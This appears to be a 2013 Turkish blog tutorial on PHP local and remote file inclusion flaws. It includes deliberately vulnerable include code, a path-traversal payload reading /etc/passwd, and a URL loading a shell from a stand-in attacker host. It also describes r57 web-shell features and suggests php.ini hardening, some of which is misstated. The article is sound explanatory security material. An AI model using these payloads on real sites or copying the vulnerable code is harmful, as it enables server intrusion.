PHP’de RFI ve LFI Açıkları

Yazının yazıldığı tarih Tarih: 3 Ağustos 2013  Yazının ait olduğu kategori Bölüm: Güvenlik, Web  Yazının okunma sayısı Okunma: 4.045 views  Yazıya yapılan toplam yorum Yok.

Merhaba bu makalemde dilim döndüğünce sizlere PHP web programlama dilinde meydana gelen RFI ve LFI açıklıklarından bahsedicem. Php kod yazar bu açıklar nasıl meydana geliyor? etkileri nedir ve nelerle sonuçlanır bunları inceleyeceğiz.

File Inclusion : Dosya ekleme olarak tabir edilebilen bir zayıflıktır. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın, yerel(local) ve uzaktan(remote) kod çalıştırmasına olanak sağlar.

LFI (Local File Inclusion) : Yerelden dosya ekleyerek kod çalıştırmaktır.
RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırmaktır.

 

PHP web programlama dili ile kodlanmış uygulamalarda, yazılımcıların tanımladıkları değişkene değer atamaması veya atanan değerlerin filtrelenmemesinden kaynaklanmaktadır. Aşağıdaki örnek kod satırları ile detayları uygulamalı olarak inceleyelim;

LFI (Local File Inclusion) Örneği

index.php dosyası:
<?php
include($_GET[‘sayfa’])
?>

Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:
index.php?sayfa=haberler.php
index.php?sayfa=iletisim.php

En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:
index.php?sayfa=../../../../../../../../../etc/passwd
Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sucunun/etc/passwd içeriğini yani user listesini ekrana yazdırır:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..

RFI (Remote File Inclusion) Örneği

index2.php dosyası:

include(“$duyurular/guncel/duyuru.php”);

Bu satırdaki “$” işareti bulunan paramtreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.
http://www.hedef.com/index2.php?duyurular=http://saldirgan.com/shell.txt?

Yukarıdaki şekilde, http://saldirgan.com/shell.txt? adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.

Bu noktada saldırgan yönlendirilen alanda shell ve listparch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57C99ve veryasyonlarıdır…

r57shell

Mesela R57 Shell’inin özelliklerine bir değinelim…
R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.

Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemelr yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.

– KORUNMA –

Yöntem 1
Yazılan kodların RFI açıklarına karşı kontrol edilmesi.

Zayıf Kod:
<?php
include ($ornek. ‘../index.php’);
?>

Güvenli Kod:
<?php
$ornek= ‘veri’;
include ($ornek. ‘../index.php’);
?>

örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamaızı sağlayacaktır.

Yöntem 2
php.ini
/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice

Umarım faydalı olmuştur, güvenli kod yazmalar herkese… :)

 

 
Facebook'ta paylaş   Twitter'da paylaş   Besleme | RSS

Yorumlar

Henüz yorum yok.

retrokitchenappliances.net